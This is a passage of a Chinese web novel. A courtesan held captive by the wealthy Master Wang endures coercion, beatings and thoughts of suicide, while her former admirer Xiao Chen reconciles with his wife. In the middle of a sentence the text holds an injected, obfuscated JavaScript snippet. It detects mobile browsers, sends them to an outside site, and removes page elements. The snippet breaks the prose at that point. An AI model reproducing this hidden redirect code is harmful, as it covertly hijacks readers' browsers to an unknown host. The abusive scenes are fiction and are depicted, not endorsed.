被推到床上时,锦被的触感滑腻冰冷。她闭上眼,指甲深深掐进掌心,试图保持最后一点清醒。 脚步声由远及近,带着熟悉的酒气。床榻微微一沉,王老爷俯下身,呼吸喷在她脸上,带着令人作呕的热意。 “睁开眼,看着我。”他的声音带着命令的口吻,手指捏住她的下巴。 丁香睫毛颤了颤,终究还是睁开了眼,却猛地把头扭向一边,不愿看他那张写满贪婪的脸。 “呵,还在闹脾气?”王老爷冷笑一声,手上的力道加重,强迫她转过头来,“别忘了,是谁把你从那花船上赎身的!没有我,你现在还在给那些粗汉弹琴卖笑!” 这话像鞭子一样抽在她心上。她知道他说的是事实,却偏生咽不下这口气。她猛地抬眼,眼底闪过一丝恨意:“赎身?不过是从一个牢笼,换到另一个牢笼罢了。” “牢笼?”王老爷被她的眼神激怒,又觉得有趣,“能住进我王某人的府邸,是多少女人求都求不来的福分!你倒嫌弃起来了?” 他伸手去扯她的衣襟,红裙的领口被撕开一道口子,露出纤细的锁骨。 丁香浑身一颤,却死死咬着唇,不肯发出一点声音。她忽然想起肖晨给她画的那幅画,想起画里那个眼神清澈的自己。 原来,干净的样子,已经是上辈子的事了。 她闭上眼睛,任由眼泪无声地滑落,浸湿了枕巾。怀里的画被压在身下,隔着薄薄的衣料,仿佛还能感受到那点残存的温度。 八哥在外面的廊下不安地叫着,声音凄厉。 王老爷的手顿了顿,烦躁地吼道:“把那破鸟给我扔了!” “不准!”丁香猛地睁开眼,声音嘶哑,“那是我的东西!” 王老爷看着她眼底难得的波动,忽然笑了:“哦?看来那鸟对你很重要?”他凑近她,语气暧昧又残忍,“想要保住它,就得乖乖听话。” 丁香看着他丑陋的嘴脸,心里一片冰凉。她知道自己没有讨价还价的余地。 最终,她闭上眼,轻轻“嗯”了一声,声音轻得像叹息。 王老爷满意地笑了,手又开始不规矩地乱动。 窗外的月光透过窗棂照进来,落在她苍白的脸上,像一层薄薄的霜。 她的八哥还在叫,一声声“公子”,像在为她哭丧。 而那幅画,被她死死压在身下,像一个永远不能说出口的秘密。 这就是她的命。 逃不掉的。 王老爷的手顺着红裙滑下去,指尖冰凉,带着不容抗拒的侵略性。他俯身想去吻她,却见她偏着头,睫毛剧烈地颤抖,眼底的嫌恶像根刺,扎得他心头火起。 “怎么?嫌我老?”他捏着她的下巴,强迫她转过头,“还是在想肖家那小子?” 丁香闭紧嘴,一声不吭。可这沉默,比任何反驳都更让他愤怒——她的不回应,本身就是一种无声的承认。 “啪!” 清脆的巴掌声在寂静的卧房里炸开,火辣辣的疼瞬间从脸颊蔓延开。丁香被打得偏过头,嘴角渗出一丝血珠。 她没哭,也没躲,只是缓缓转过头,眼神里淬着冰,直直地望着他,像在看一个跳梁小丑。 “你找死!”王老爷被她的眼神逼得后退半步,随即恼羞成怒,指着她骂道,“别以为摆着这副贞烈的样子我就不敢动你!告诉你,总有一天,我会让你哭着求我,求着爬上我的床!” 他喘着粗气,像是被耗尽了所有耐心,狠狠瞪了她一眼,转身摔门而去。 门板撞在门框上的巨响,震得房梁上的灰尘都簌簌落下。 丁香缓缓抬手,抚上被打的脸颊,指尖触到滚烫的疼,还有那点咸腥的血。她没哭,只是眼底的光,彻底变成了死灰。 肖家那小子……他终究还是知道了。 可知道又如何?她现在是他砧板上的肉,连思念一个人的资格,都成了罪过。 她慢慢蜷缩起身子,将那幅画紧紧抱在怀里,像抱着最后一根救命稻草。画纸被她的眼泪浸湿,晕开了一角墨迹,像她此刻模糊的视线。 外面的八哥还在叫,一声声“公子”,叫得人心头发麻。 王老爷的脚步声在回廊尽头消失了,留下满室的寂静,还有那挥之不去的酒气和屈辱。 丁香望着帐顶精致的绣纹,忽然低低地笑了起来,笑着笑着,眼泪就汹涌而出。 求着爬上他的床? 她就算是死,也绝不会。 只是……那脸上的疼,怎么也比不上心里的万分之一。 她不知道肖晨怎么样了,是不是还被关在府里,是不是已经忘了花船上有过一个叫丁香的姑娘。 或许忘了,才是最好的。 她闭上眼,任由黑暗将自己吞噬。 明天醒来,又是该熬的一天。 36. 他好担心她 第二日清晨,丫鬟端着水盆进来时,见丁香仍维持着昨夜的姿势蜷缩在床上,脸颊上的红印肿得厉害,像块丑陋的胎记。 “姑娘……”丫鬟声音发颤,放下水盆想替她上药,却被她避开了。 丁香缓缓坐起身,赤着脚踩在冰凉的地板上,走到窗边。廊下的八哥见她出来,扑腾着翅膀叫“公子”,声音哑得厉害。 “水。”她开口,声音干涩得像砂纸摩擦。 丫鬟连忙倒了杯温水递过去。她接过,却没喝,只是望着笼子里的八哥,眼神空茫。 王老爷没再来。府里的仆妇对她客气,却带着疏离,像看一件易碎又烫手的物件。没人提昨夜的巴掌,也没人问她疼不疼,仿佛那一巴掌,不过是掸去了一粒灰尘。 她被安置在偏院,院子雅致,却像座镀金的牢笼。每日有锦衣玉食,有丫鬟伺候,可她连院门都出不去。王老爷像是忘了她,只偶尔派人送来些珠宝首饰,件件华贵,却都被她扔在角落,蒙了层灰。 她把那幅肖像画藏在妆匣最底层,每日夜里拿出来看。画里的自己眉眼带笑,身后是花船的窗棂,窗外是灰蒙蒙的水——那是她第一次见肖晨的地方。 他当时穿着月白长衫,站在廊下看她弹琴,阳光落在他发间,像落了层碎雪。 “姑娘琴弹得好。”他笑着开口,声音清润。 原来,已经是那么久以前的事了。 这天傍晚,王老爷忽然来了。他喝了酒,带着满身戾气,一进门就攥住她的手腕:“想清楚了吗?要不要换个活法?” 丁香甩开他的手,后退一步,脸颊上的红印虽消了些,却仍能看出痕迹。“我的活法,不劳老爷费心。” 王老爷被她的硬气激怒,却没动手,只冷笑:“嘴硬。我倒要看看,你能撑到几时。”他目光扫过角落蒙尘的珠宝,“肖家那小子被他爹禁足了,听说连大门都出不去。你以为他还能来救你?” 丁香的心猛地一缩,脸上却依旧平静:“我与他本就无瓜葛。” “无瓜葛?”王老爷逼近一步,掐住她的下巴,强迫她抬头,“那夜在花船上,你可不是这么说的。你求他留个念想,不是吗?” 他竟派人盯着花船!丁香浑身冰凉,像被剥光了扔在雪地里。 “可惜啊,”王老爷松开手,语气带着残忍的笑意,“他被他爹拖走时,连头都没回。” 这句话,比昨夜的巴掌更疼。她踉跄着后退,撞在妆台上,妆匣掉在地上,里面的画散落出来。 王老爷弯腰捡起画,看清上面的肖像,眼神瞬间阴鸷。画上的男子笔法熟悉——是肖晨的笔迹。 “好,好得很。”他把画揉成一团,狠狠砸在她脸上,“到了现在,还揣着他的东西!” 画纸被揉得皱巴巴的,边角裂开,像她此刻的心。丁香扑过去想抢,却被王老爷一脚踹在胸口,疼得她蜷缩在地,半天喘不过气。 “把这破画烧了!”王老爷怒吼,“还有那只鸟,给我宰了炖汤!” “不要!”丁香咳着血沫嘶吼,“那是我的!不准碰!” 王老爷看着她状若疯癫的样子,忽然觉得无趣。他踢了踢地上的画纸,像在碾一只虫子:“留着也行。让你天天看着,看看你心心念念的人,是怎么把你忘在脑后的。” 他转身就走,走到门口又停下,回头看她:“对了,肖家最近在忙婚事,听说要给那小子纳妾了。你说,他会不会想起你这个‘知己’?” 说完,他大笑着离去,笑声在空荡的院子里回荡,像针一样扎进丁香的耳朵里。 丁香趴在地上,看着那团皱巴巴的画,眼泪混着血沫淌下来。 纳妾了。 也好。 她撑起身子,一点点把画纸展开,小心翼翼地抚平褶皱。画上的自己还在笑,可她却笑不出来了。 廊下的八哥还在叫,一声声“公子”,叫得撕心裂肺。 她慢慢站起身,走到窗边,望着院墙上的月亮。和花船上的月亮一样,又冷又亮。 她知道,王老爷说的是对的。她撑不了多久了。 可撑一天,是一天。 至少现在,她还能守着这幅画,守着这只鸟,守着心里那点快熄灭的念想。 她抬手抚上脸颊,那里还在疼。 疼也好,至少能证明,她还活着。 活着,就还有念想。 王老爷一脚踹开偏院的门,脸上还带着未消的戾气。廊下伺候的仆妇们吓得纷纷低头,连大气都不敢喘。 “给我看好了里面的人!”他声音洪亮,带着不容置疑的威严,“一只苍蝇都别想让她接触,更不许踏出府门半步!” “是,小的们记下了。”仆妇们连忙应道。 管家凑上前,脸上堆着笑,语气却带着点惋惜:“老爷,这女子也太倔了,到现在还不肯从了您。您说,这一万两银子加上官府那边的人情,岂不是……” “白花钱?”王老爷斜睨他一眼,忽然嗤笑一声,眼神里透着势在必得的狠厉,“你懂什么。越是倔的骨头,啃起来才越有滋味。” 他伸手理了理衣襟,慢悠悠地说:“等有一天,她哭着求我的时候,我再慢慢玩。到时候,让她做什么,她就得做什么。” 管家愣了愣,随即谄媚地笑:“还是老爷高明!” “高明?”王老爷哼了一声,语气陡然转冷,“我王某人从不做赔本的买卖。她要是识相,还能在府里多待些时日;若是不识相……” 他顿了顿,眼里闪过一丝阴毒:“等我腻了,就把她卖到最低等的妓院里去。到时候,我再让官府给那些妓院加几成税收,就说是‘教化不力’的罚银。” 管家心里一寒,这是连后路都给人堵死了!那妓院本就靠着薄利维持,再加税收,怕是要关门大吉,而丁香落到那种地方,日子可想而知。 “到时候,”王老爷舔了舔唇角,像头盘算着猎物的狼,“我吃出去的银子,还有那些人情,都得让他们加倍吐出来。一分都不能少。” 他拍了拍管家的肩膀,力道不轻:“看好她,别让她寻死觅活的。我还等着看她求我的样子呢。” “是,小的一定看好!”管家连忙应下,看着王老爷扬长而去的背影,后背渗出一层冷汗。 这王老爷,心思也太狠了。 偏院里,丁香靠在门板上,将外面的话听得一清二楚。每一个字,都像淬了毒的针,扎得她浑身发冷。 卖到妓院,增加税收……原来他早就盘算好了。 她缓缓滑坐在地,看着角落里那团皱巴巴的画,忽然觉得可笑。她还以为守住画和鸟,就能守住最后一点念想,却不知自己早已成了他砧板上的肉,连怎么被处置,都由不得自己。 廊下的八哥像是感受到了她的绝望,不再叫“公子”,只是发出低沉的呜咽,像在哭。 丁香慢慢站起身,走到妆台前,拿起一面铜镜。镜中的女子脸色苍白,脸颊上的红印还未消,眼神空洞得像口枯井。 这样的日子,什么时候是个头? 她拿起桌上的发簪,指尖冰凉。发簪尖锐的顶端对着自己的脖颈,只要轻轻一送…… “公子……”廊下的八哥忽然又叫了一声,声音嘶哑。 丁香的手顿住了。 她不能死。 死了,就真的什么都没了。 她放下发簪,重新坐回床边,将那团画纸小心翼翼地展开,一点点抚平。就算是死,她也要带着这幅画一起走。 至少,不能让王老爷称心如意。 她望着窗外紧闭的院门,眼神里第一次燃起一丝微弱却坚定的光。 想让她求他?想把她卖到妓院? 做梦。 她丁香,就算是死,也要死得有骨气。 大不了,鱼死网破。 肖晨被关在房里整整两天了。院门锁得死死的,窗棂外守着两个膀大腰圆的仆役,连只麻雀都飞不出去。 李傲雪寸步不离地陪着他,给他读书,给他描眉,像往常一样温柔小意,可他始终提不起精神。手里的书卷翻了又翻,一个字也没看进去,眼神总是飘向窗外,像丢了魂。 “少爷,喝点粥吧,你两天没好好吃东西了。”李傲雪端着白瓷碗,轻声劝道。 肖晨摇摇头,抓起桌上的酒壶,仰头又灌了一大口。辛辣的酒液灼烧着喉咙,却压不住心里的闷。 他还不知道丁香已经落入王老爷手中,只单纯地以为她是真的要走了——或许是回了乡下,或许是去了别的地方,总之,是再也见不到了。 那个能听懂他琴音的人,那个会对着八哥温柔笑的人,那个说“看到它就像你陪着我”的人……就这么走了。 连一句像样的告别都没有。 “她走了……”他喃喃自语,眼眶泛红,“以后再也没人听我弹琴了,再也没人跟我论诗了……” 李傲雪看着他失魂落魄的样子,心里酸酸的,却只能轻轻拍着他的背:“少爷,还有我呢。我可以学,我可以听你弹琴,听你论诗……” “你不一样。”肖晨打断她,声音带着醉意,“你是我的妻子,她是我的知己。不一样的……” 这话像根细针,轻轻扎在李傲雪心上。她低下头,没再说话,只是默默地给他添酒。 肖晨一杯接一杯地喝,很快就醉得厉害了。他趴在桌上,脸颊通红,嘴里反复念叨着“丁香”的名字,还有“弹琴”“八哥”…… “我还没跟她说再见……”他忽然哭了起来,像个受了委屈的孩子,“我还想听她弹《平沙落雁》……我还没告诉她,那幅画画得不好,我想再给她画一幅……” 李傲雪看着他哭,自己也跟着掉眼泪。她从未见过肖晨这样失态,那个总是温和稳重的少爷,原来也会为了一个人,哭得像个孩子。 她终于明白,丁香在他心里,是真的不一样。 “少爷,别哭了……”她伸手想擦去他的眼泪,却被他挥开了。 “让我哭……”肖晨哽咽着,“以后……再也见不到了……” 他不知道,他口中的“见不到”,比他想象的要残酷得多。那个他以为只是“离开”的女子,此刻正身陷囹圄,日夜受着煎熬。 而他,还傻傻地守着“再见”的念想,在这方寸之地,为一场永别的知己,哭得撕心裂肺。 夜渐渐深了,肖晨醉倒在桌上,手里还紧紧攥着一只空酒杯。李傲雪给他盖上薄毯,看着他眼角未干的泪痕,轻轻叹了口气。 她不知道该怎么办,只能守着他,像守着一个易碎的梦。 只是这梦,注定要碎的。 等他醒了,等他知道了真相,又该是怎样一番光景? 李傲雪不敢想,只能祈祷着,那一天,能来得晚一点,再晚一点。 夜深了,烛火摇曳,映得窗纸忽明忽暗。肖晨趴在桌上,眉头紧锁,嘴里断断续续地呢喃着,带着浓浓的鼻音,像个迷路的孩子。 “丁香……别走……” “再弹一曲……就一曲……” “我还没……听够你说话……” 李傲雪本就没睡沉,被这声音惊醒,心头一紧。她走到桌边,看着他泛红的眼角,还有那无意识蹙着的眉,心里又酸又涩。 原来,连梦里,他想的都是那个姑娘。 肖晨翻了个身,差点从椅子上摔下来,嘴里还在叫:“别走……” 李傲雪连忙伸手扶住他,将他轻轻揽进怀里。他的头靠在她肩上,带着浓重的酒气,却意外地温顺。 “不走……”她轻轻拍着他的背,声音软得像棉花,“我不走,少爷。” 她知道自己说的不是他想听的那个名字,可她只能这样说。她怕他再哭,怕他再喊那个名字,怕自己会忍不住嫉妒,忍不住难过。 肖晨似乎在梦里听到了,眉头渐渐舒展了些,嘴里的呢喃也停了。他往她怀里缩了缩,像只寻求安慰的小兽。 李傲雪抱着他,坐在冰冷的椅子上,一动不动。夜风吹过窗棂,带着凉意,她却觉得心里暖暖的。 至少这一刻,他是靠在她怀里的。 至少这一刻,他没再喊别人的名字。 她低头,看着他熟睡的侧脸,长长的睫毛在眼下投出淡淡的阴影,鼻梁挺直,唇线清晰。他确实很好看,好看到让她觉得,能这样抱着他,就已经是天大的福气。 “少爷,”她轻声说,声音轻得只有自己能听见,“别想她了,好不好?” “留在我身边,我会对你很好的。” 回应她的,只有肖晨均匀的呼吸声。 烛火燃尽了,屋里渐渐暗下来。李傲雪抱着他,直到天快亮时,才轻轻将他扶到床上。 她替他盖好被子,坐在床边,看着他安静的睡颜,久久没有动。 天亮了,他醒了,大概又会想起丁香吧。 可那又怎么样呢? 她是他的妻子,这是改变不了的事实。 她会等,等他慢慢忘了那个叫丁香的姑娘,等他回头看看,身边还有一个叫李傲雪的人,一直在等他。 想到这里,李傲雪的眼神坚定了些。她轻轻握住肖晨放在被外的手,指尖传来他温热的体温。 这就够了。 肖晨醒来时,头痛欲裂,宿醉的后劲涌上来,让他昏沉了好一会儿才看清眼前的人。 李傲雪正拿着温热的帕子给他擦脸,动作轻柔,眼底带着淡淡的青黑,显然是一夜没睡。 “你……”他刚开口,声音沙哑得厉害。 “少爷醒了?”李傲雪连忙放下帕子,倒了杯温水递到他嘴边,“喝点水会舒服些。” 肖晨就着她的手喝了几口,看着她眼下的乌青,心里忽然涌上一阵愧疚。他喝醉了闹了一夜,她却在这里守了他一夜。 他想起自己梦里喊的名字,想起自己说的那些话,脸颊瞬间发烫。 “傲雪,”他拉住她的手,声音低沉,“对不起。” 李傲雪愣了愣,抬头看他。 “这几日,我冷落你了。”他看着她的眼睛,认真地说,“不该让你跟着我难受。” 李傲雪的眼圈一下子红了,眼泪像断了线的珠子,噼里啪啦地掉下来。她吸了吸鼻子,声音带着哭腔:“少爷,我没有怪你……我就是看你那么伤心,心里也跟着疼……我不知道该怎么办,只能陪着你……” 她低下头,手指绞着衣角,声音越来越小:“我看到你总想着丁香姑娘,我……我怕你不要我了……” 肖晨的心像被什么东西揪了一下,疼得厉害。他伸手将她揽进怀里,紧紧抱住:“傻瓜,怎么会不要你。” “你是我的妻子,是要陪我一辈子的人。”他轻轻拍着她的背,声音温柔,“是我不好,让你受委屈了。” 李傲雪靠在他怀里,听着他有力的心跳,眼泪流得更凶了,却带着点委屈,也带着点安心。她伸手紧紧抱住他的腰,把脸埋进他的衣襟里:“我不要你对不起,我只要少爷好好的……” 肖晨闭上眼睛,深深吸了口气。怀里的人温热柔软,带着让他心安的气息。他知道,自己不能再这样沉溺下去了。 丁香有她的路要走,他也有自己的责任要担。 他轻轻推开李傲雪,替她擦去脸上的眼泪,眼神温柔而坚定:“以后不会了。” 李傲雪看着他认真的眼神,用力点了点头,嘴角慢慢扬起一个浅浅的笑,像雨后初晴的天空。 阳光透过窗棂照进来,落在两人交握的手上,温暖而明亮。 肖晨知道,心里那个角落,或许永远会为丁香留着一个位置,但他能做的,是珍惜眼前人。 肖晨看着李傲雪泛红的眼眶,还有那强撑着的笑意,心里像被浸了温水,又酸又软。他不知道该说些什么才能弥补这些日子的冷落,千言万语堵在喉头,最终都化作一个笨拙的动作。 他抬手,轻轻捏住她的下巴,指腹触到她细腻的肌肤,带着点微颤的温热。李傲雪愣了愣,眼底闪过一丝惊讶,下意识地想后退,却被他按住了。 “傲雪。”他低声唤她,声音里带着未散的沙哑,还有一丝连自己都没察觉的渴求。 不等她反应,他俯下身,吻上了她的唇。 很轻,很生涩,像第一次触碰珍宝的孩子,带着点小心翼翼的试探。李傲雪浑身一僵,随即像被烫到一样,睫毛剧烈地颤抖起来,眼泪却毫无预兆地涌了上来。 不是委屈,是太久的等待终于有了回应的酸涩。 肖晨能感觉到她的僵硬,也能尝到她唇边淡淡的咸味。他没有退缩,反而微微加重了力道,像在汲取什么,又像在逃避什么。脑海里闪过丁香的影子,闪过花船上的琴声,闪过父亲愤怒的脸……他用力闭上眼,将那些纷乱的念头摒除,只专注于唇上的柔软。 或许只有这样,才能暂时忘记心里的烦恼。 或许只有这样,才能证明自己真的能“放下”。 李傲雪渐渐放松下来,证明着抬手,轻轻环住他的脖子,踮起脚尖,笨拙地回应着他。她的吻很轻,带着点羞怯,却像一团小火,慢慢熨帖了他心里的褶皱。 他把她抱得更紧,吻也越来越深,带着压抑许久的情绪,带着对现实的妥协,也带着一丝连自己都分不清的悸动。 窗外的阳光越发明媚,照在两人交缠的身影上,镀上一层金色的光晕。 李傲雪的心跳得像要蹦出来,脸颊滚烫,却舍不得推开他。她能感觉到他的挣扎,也能感觉到他的靠近,这就够了。 不知过了多久,肖晨才缓缓松开她。两人额头相抵,呼吸交缠,都有些喘。 “傲雪……”他看着她泛红的脸颊和湿润的眼眶,声音低沉,“以后,我会对你好。” 李傲雪用力点头,眼泪又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993197|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉了下来,却笑着说:“嗯。” 她知道,他心里或许还有别人的影子,但这一刻的温柔和承诺,是真的。 肖晨抬手,替她擦去眼泪,指尖带着怜惜。他知道自己这样或许有些自私,把她当成了逃避的出口,可他别无选择。 他必须往前走。 只是他没看到,李傲雪眼底一闪而过的担忧——她怕这温柔只是暂时的,怕他转过身,又会想起那个叫丁香的姑娘。 但她没说,只是笑着,紧紧回握住他的手。 至少现在,他是她的。 这就够了。 肖晨看着李傲雪红扑扑的脸颊,眼底还带着未散的羞怯,心里那点愧疚又翻涌上来。他揉了揉她的头发,声音放得更柔:“你守了我一夜,该累了,去歇会儿。” 李傲雪却把脸往他怀里蹭了蹭,像只黏人的小猫,声音软软的带着点撒娇:“我不要嘛。”她刚尝到点亲近的滋味,怎么舍得放手?刚才那个吻还在唇上发烫,他怀里的温度还没散尽,她只想时时刻刻黏着他。 “我不累,”她仰起脸看他,眼里亮晶晶的,带着点狡黠,“我要好好伺候少爷。” 肖晨被她看得心头发软,刚想说些什么,就见她踮起脚尖,在他下巴上轻轻啄了一下,像在模仿他刚才的动作。 “少爷陪我一起睡,好不好?”她拉着他的手晃了晃,声音里带着点小心翼翼的恳求,脸颊红得像熟透的苹果,“就像……就像寻常夫妻那样。” 肖晨的心跳漏了一拍。他想起昨夜醉酒后的失态,想起刚才那个失控的吻,脸颊有些发烫。可看着她眼里满是期待的光,拒绝的话怎么也说不出口。 他沉默了片刻,终究还是点了点头:“好。” 李傲雪瞬间笑开了,眼睛弯成了月牙,拉着他就往床边跑,像个得到了糖果的孩子。 肖晨被她拉着,看着她雀跃的背影,嘴角忍不住微微上扬。或许,这样也不错。 他脱了鞋,躺在外侧,李傲雪挨着他躺下,小心翼翼地往他身边挪了挪,直到肩膀碰到他的胳膊,才满意地停下。她闭上眼睛,嘴角还带着笑,呼吸渐渐变得均匀。 肖晨却没睡着。他侧过头,看着她恬静的睡颜,长长的睫毛像两把小扇子,皮肤白皙,唇瓣因为刚才的吻而显得格外红润。 这就是他的妻子。 一个满心满眼都是他的小姑娘。 他轻轻叹了口气,伸出手,犹豫了一下,还是将她揽进了怀里。 李傲雪似乎在梦里感受到了,往他怀里缩了缩,找了个舒服的姿势,发出满足的喟叹。 肖晨低头,看着怀中人依赖的模样,心里那点残存的烦躁和愧疚,渐渐被一种柔软的情绪取代。 或许,他真的该放下过去了。 他闭上眼睛,鼻尖萦绕着她发间淡淡的清香,怀里是温热的柔软。这一次,没有丁香的影子,没有花船的琴声,只有身边人的呼吸声,平和而安稳。 他终于渐渐沉入梦乡。 窗外的阳光正好,透过窗棂洒在被子上,暖洋洋的。 这一觉,肖晨睡得格外沉。 等他醒来时,李傲雪正趴在床边看他,眼里满是笑意。 “少爷醒了?”她递过一杯温水,“饿不饿?我让厨房做了你爱吃的莲子羹。” 肖晨接过水,看着她亮晶晶的眼睛,心里忽然变得很踏实。 “嗯。”他应了一声,嘴角扬起一抹温柔的笑,“一起吃。” 李傲雪用力点头,眼睛里的光,比窗外的阳光还要亮。 她知道,他们的日子,终于要回到正轨了。 只是她不知道,有些事,一旦开始,就再也回不去了。而那个被他们暂时遗忘的名字,正藏在某个角落,等待着被重新提起的那一天——带着血和泪。 肖晨被解禁那天,天气格外好。李傲雪牵着他的手走出院门时,他眯着眼看了看天上的太阳,竟有种恍如隔世的感觉。 刚走到正厅,就见肖父坐在太师椅上,手里捧着茶盏,脸色虽依旧严肃,却比前几日缓和了许多。 “父亲。”肖晨走上前,规规矩矩地行了礼。 肖父放下茶盏,目光在他身上扫了一圈,又看了看旁边站着的李傲雪,见两人手牵着手,姑娘家脸上带着羞赧的笑,心里的气总算顺了些。 “想通了就好。”他沉声道,语气里带着长辈的威严,“傲雪是个好姑娘,自打进了咱们肖家的门,对你一心一意,你得好好待她。” 肖晨握紧了李傲雪的手,点头道:“儿子知道。” “知道就好。”肖父又道,“你是肖家独苗,将来要撑起这个家的。往后少出门闲逛,多在家读书,把心思放在正途上。”他顿了顿,眼神锐利起来,“外面那些乱七八糟的人,尤其是花街柳巷里的,不许再沾。咱们肖家丢不起这个人,也别委屈了傲雪。” 这话虽是敲打,却也带着点和解的意味。 肖晨知道父亲指的是丁香,心里微微一涩,却还是应道:“儿子明白。以后不会了。” 李傲雪在一旁低着头,手指绞着帕子,听见肖晨的话,悄悄松了口气,嘴角忍不住微微上扬。 肖父见他态度诚恳,终于满意地点点头:“行了,去忙吧。下午把《论语》抄一遍给我看。” “是。”肖晨应下,牵着李傲雪转身离开。 走到回廊时,李傲雪才抬头看他,眼里带着笑:“少爷,父亲不生气了。” “嗯。”肖晨低头看她,眼底带着温柔,“以后,我好好陪你。” 李傲雪用力点头,把他的手握得更紧了。阳光穿过回廊的雕花窗棂,在两人身上投下斑驳的光影,一切都像是回到了最初的样子——他是温润的肖家少爷,她是温顺的少夫人,日子平静而安稳。 只是肖晨心里清楚,有些东西,终究是不一样了。 他低头看着两人交握的手,又想起那个抱着画纸、眼神倔强的女子。 或许,这样相安无事,就是最好的结局。 他不知道,这“相安无事”的背后,是另一个人用尽全力的隐忍和煎熬。而他此刻的“放下”,在不久的将来,会变成一道永远无法愈合的伤疤。 但至少现在,他只想守着身边的人,过好眼前的日子。 肖晨握紧了李傲雪的手,加快了脚步。 回廊尽头的风,带着淡淡的花香,吹得人心里暖暖的。 肖晨虽表面平静下来,心里却总惦记着丁香。那日在花船上的不欢而散,还有她那句“我要走了”,像根刺扎在他心头。 趁李傲雪去厨房给他端点心的空档,他悄悄叫住阿成,往他手里塞了块碎银子:“你去花船那边一趟,打听一下丁香姑娘……到底去了哪里。” 阿成愣了愣,想起前几日老爷的怒火,有些犹豫:“少爷,这……” “别让任何人知道,尤其是父亲和夫人。”肖晨压低声音,眼神里带着恳求,“就问问她的去向,别的不用多问。” 阿成看他神色恳切,终究还是点了头:“小的知道了。” 阿成去了大半日,回来时脸色有些为难。肖晨正在书房练字,见他回来,连忙放下笔:“怎么样?” “小的去花船问了,”阿成挠了挠头,“可那些伙计和丫鬟都嘴紧得很,只说丁香姑娘几日前就走了,至于去了哪里,是回乡下还是去了别的地方,他们都说不知道,问多了就只摆手,不肯再提。” 肖晨的心沉了沉。怎么会一点消息都没有? “他们……有没有说别的?比如谁来接的她?” 阿成摇摇头:“没说。只说姑娘是自己收拾的东西,走的时候挺平静的,还带走了那只八哥和一卷画。” 肖晨沉默了。八哥和画……都是他送的。看来她是真的下定决心要走了,连去向都不愿让人知道。 “知道了。”他挥挥手,让阿成退下,自己则重新拿起笔,却怎么也写不下去。笔尖在纸上洇开一团墨,像他此刻混沌的心情。 她到底去了哪里? 过得好不好? 是不是真的如她所说,只是想换个地方生活? 无数个疑问在他心头盘旋,却找不到答案。 他不知道,那些人不是嘴紧,是不敢说。王老爷早打过招呼,谁敢透露半个字,就别想在码头混了。 阿成离开书房后,悄悄看了眼正往这边走的李傲雪,连忙低下头,加快脚步离开了。有些事,还是不知道为好。 而肖晨,望着纸上那团墨渍,轻轻叹了口气。 或许,她真的只想彻底离开。 或许,他该尊重她的选择。 只是心里那点空落落的感觉,怎么也填不满。 他收起纸笔,走到窗边,望着院外的天空。天很蓝,云很白,像什么都没发生过。 可他知道,有什么东西,已经不一样了。 37. 父子间的争斗 各位读者喜欢这本书在下面回复1,作者会多更新点。 丁香的日子,是在偏院的寂静里一天天熬过去的。王老爷再没来过,只偶尔派人送来些不合身的华服,都被她扔在箱底,落了层薄灰。 她每日里做的最多的事,就是搬把椅子坐在廊下,看着笼子里的八哥。那鸟儿也蔫了,不常叫“公子”了,多数时候只是歪着头看她,眼神呆呆的,像也看懂了她的落寞。 偏院偏僻,却也挡不住流言蜚语。府里的小妾们凑在一起时,总爱拿她当话柄。 “听说了吗?老爷前阵子从花船上弄回来那个,听说以前是卖笑的呢。” “怪不得呢,瞧那身段,定是勾人的好手,不然怎么能让老爷金屋藏娇?” “藏娇?我看是新鲜劲儿没过吧,等腻了,指不定扔哪个角落里呢。” 这些话像风一样,断断续续飘进偏院,被丁香听了去。她攥紧了手里的帕子,指甲掐进掌心,脸上却没什么表情。早就在花船上听惯了这些,如今不过是换了个地方,换了批人说罢了。 她以为日子就会这样沉寂下去,直到王老爷的儿子王公子撞进了偏院。 王公子今年十七,性子刚烈,最恨父亲纳妾收房那套,觉得玷污了门楣。前几日听府里下人嚼舌根,说父亲从花船上弄了个“尤物”,还宝贝得紧,心里本就憋着气,今日趁着父亲不在,特意寻到了偏院。 他推开门时,正见丁香坐在廊下喂八哥,素衣素裙,没施脂粉,侧脸在阳光下显得有些苍白,竟和他想象中“搔首弄姿”的模样半点不沾边。 丁香见有人进来,愣了愣,抬头看他,眼神平静无波:“你是谁?” 王公子被她的眼神看得一愣,随即想起那些流言,怒火又涌了上来。他几步走到她面前,居高临下地看着她,语气带着鄙夷:“你就是那个勾引我父亲的妓女?” 丁香握着鸟食的手顿了顿,慢慢抬眼,看着眼前这个满脸戾气的少年,忽然笑了:“是又如何?不是又如何?” 她的平静激怒了王公子:“果然是从那种地方出来的,脸皮就是厚!我父亲被你迷得晕头转向,你满意了?” “迷得晕头转向?”丁香重复着这句话,笑得更冷了,“公子怕是误会了。你父亲对我,可没什么‘迷’,只有‘买’。” 王公子被她噎得说不出话,看着她眼底的嘲讽,只觉得一股火直冲脑门:“你!不知廉耻!” “廉耻?”丁香站起身,直视着他,“被你父亲强抢进府,被他打骂,连只鸟都护不住,你跟我谈廉耻?” 她的声音不高,却带着刺骨的寒意,听得王公子一愣。 “我是卑贱,是从花船上出来的,”丁香看着他,眼神里满是悲凉和嘲讽,“可我至少知道自己要什么,不要什么。不像某些人,只会躲在背后骂女人,却不敢去质问自己那花心的父亲。” 王公子被她说得面红耳赤,竟无言以对。他看着她苍白脸上那抹倔强,忽然觉得,那些关于“妓女”“勾引”的流言,或许并不全是真的。 “你……”他张了张嘴,想说些什么,却见丁香转过身,重新坐下,背对着他,“公子请回吧,这里不是你该来的地方。” 王公子看着她的背影,又看了看笼子里那只蔫蔫的八哥,心里忽然有些不是滋味。他冷哼一声,转身离开了,却把她的话记在了心里。 “只会躲在背后骂女人,不敢质问父亲……” 他攥紧了拳头,第一次对父亲的做法,生出了强烈的不满。 而偏院里,丁香重新拿起鸟食,喂给八哥。鸟儿啄着她的指尖,发出低低的叫声。 她轻轻抚摸着鸟笼,低声说:“你看,连个孩子都知道骂我卑贱。” 